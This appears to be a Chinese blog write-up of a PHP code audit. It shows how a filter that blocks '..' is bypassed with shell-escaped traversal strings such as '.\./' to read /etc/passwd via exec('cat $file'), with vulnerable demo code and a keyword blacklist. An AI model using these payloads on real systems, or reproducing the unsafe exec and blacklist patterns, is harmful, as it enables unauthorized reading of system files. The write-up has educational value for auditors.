linux转义执行顺序,Linux下巧用转义符来完成多阶攻击

也是前段时间代码审计:

先上代码:

if (!file_exists($fileName)){header("Content-type: text/html; charset=utf-8");echo "File not found!";exit;

}else{$file = fopen($fileName, "r");Header("Content-type: application/octet-stream");Header("Accept-Ranges: bytes");Header("Accept-Length: ".filesize($fileName));Header("Content-Disposition: attachment; filename=" . $name);$content = fread($file, filesize($fileName));fclose($file);

}return $content;

单单看代码很明显的任意文件下载,在代码的前面多了一行验证:

if(!FileHelper::validatePath($name)) {return "";

}

真的是断了我们的路啊,进去看看:

static function validatePath($file){$items = explode(\'..\', $file);if(count($items) < 2) {return true;

}return false;

}

分割..,目的很纯粹,害怕我们../读取到敏感数据

看下他的$filename定义吧:

$fileName = "/temp/" . $name;

说明就是只希望我们读取/temp/目录下的文件,他的文件上传,都传到了/temp目录下:

这时候你想去读取/etc/passwd根本不现实...

这时候我在思考,../真的无懈可击吗?

打开我的终端:

一步一步来:

正常查看数据:

cat /Users/Desktop/1.html

查看/etc/passwd,跨目录读取需要使用../:

cat /Users/Desktop/../../../etc/passwd

如果不让我们../怎么办?

巧用linux转义符号

\\.=.

echo \\\'

输出单引号,重新读取:

增加转义符,再次读取:

cat /Users/Desktop/.\\./.\\./.\\./etc/passwd

成功读取到/etc/passwd,这里继续,立马投入到fopen函数中:

说干就干:

运行提示没找到文件:

9f55d59acd8947debe218d53d446f658.jpg

而没有像终端一样执行了/etc/passwd,很显然,这里把/.\\./认为是一个目录,而不是../:

后续发现,所有文件操作都把/.\\./认定为目录:

写个demo:

}else{$command = "cat $file";exec($command,$array);print_r($array);

}

其中:

.\\./.\\./.\\./.\\./.\\./etc/passwd =../../../../../etc/passwd

跨目录5次

这里需要创建目录,否则走不了else:

二阶的条件:前置条件:可以自定义创建目录或者文件:

mkdir -p /Users/phptest/.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./etc/passwd

再次运行:

42328242a12f4db9bf335327ea6948ba.jpg

因为调用了系统命令,最后.\\./最后变成:

/Users/phptest/../../../../../etc/passwd

从而导致了文件读取成功了.

问题所在:php/java认为.\\.是一个目录

终端命令执行:\\./=../,最终获取/etc/passwd

一次利用:rce使用字符串函数过滤,而不是使用escapeshellarg和escapeshellcmd

demo:

$arrw = array("`", "$", "-","..","||","|","&","&&");foreach ($arrw as $key => $value) {if(strstr($file,$value)){echo "不允许使用..和其他特殊字符串";return "";

}

}$cmd = "cat $file";var_dump($cmd);exec($cmd,$array);print_r($array);

这里命令执行过滤了一些特殊字符串,尤其关照了../,如果你想读取,只能读取/temp/临时目录下的文件,不能跨目录,但是这里调用了系统命令:

使用转义符绕过:

修改demo:

$arrw = array("`", "$", "-","..","||","|","&","&&");foreach ($arrw as $key => $value) {if(strstr($file,$value)){echo "不允许使用..和其他特殊字符串";return "";

}

}$cmd = "cat $file";var_dump($cmd);exec($cmd,$array);print_r($array);

定义我们的$file为/.\\./:

再次运行代码,读取到/etc/passwd

3d4835c7fc974467a43d5d5bc386bd4b.jpg

这个特性还是有很多利用空间的,希望以后代码审计能遇到多阶攻击

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值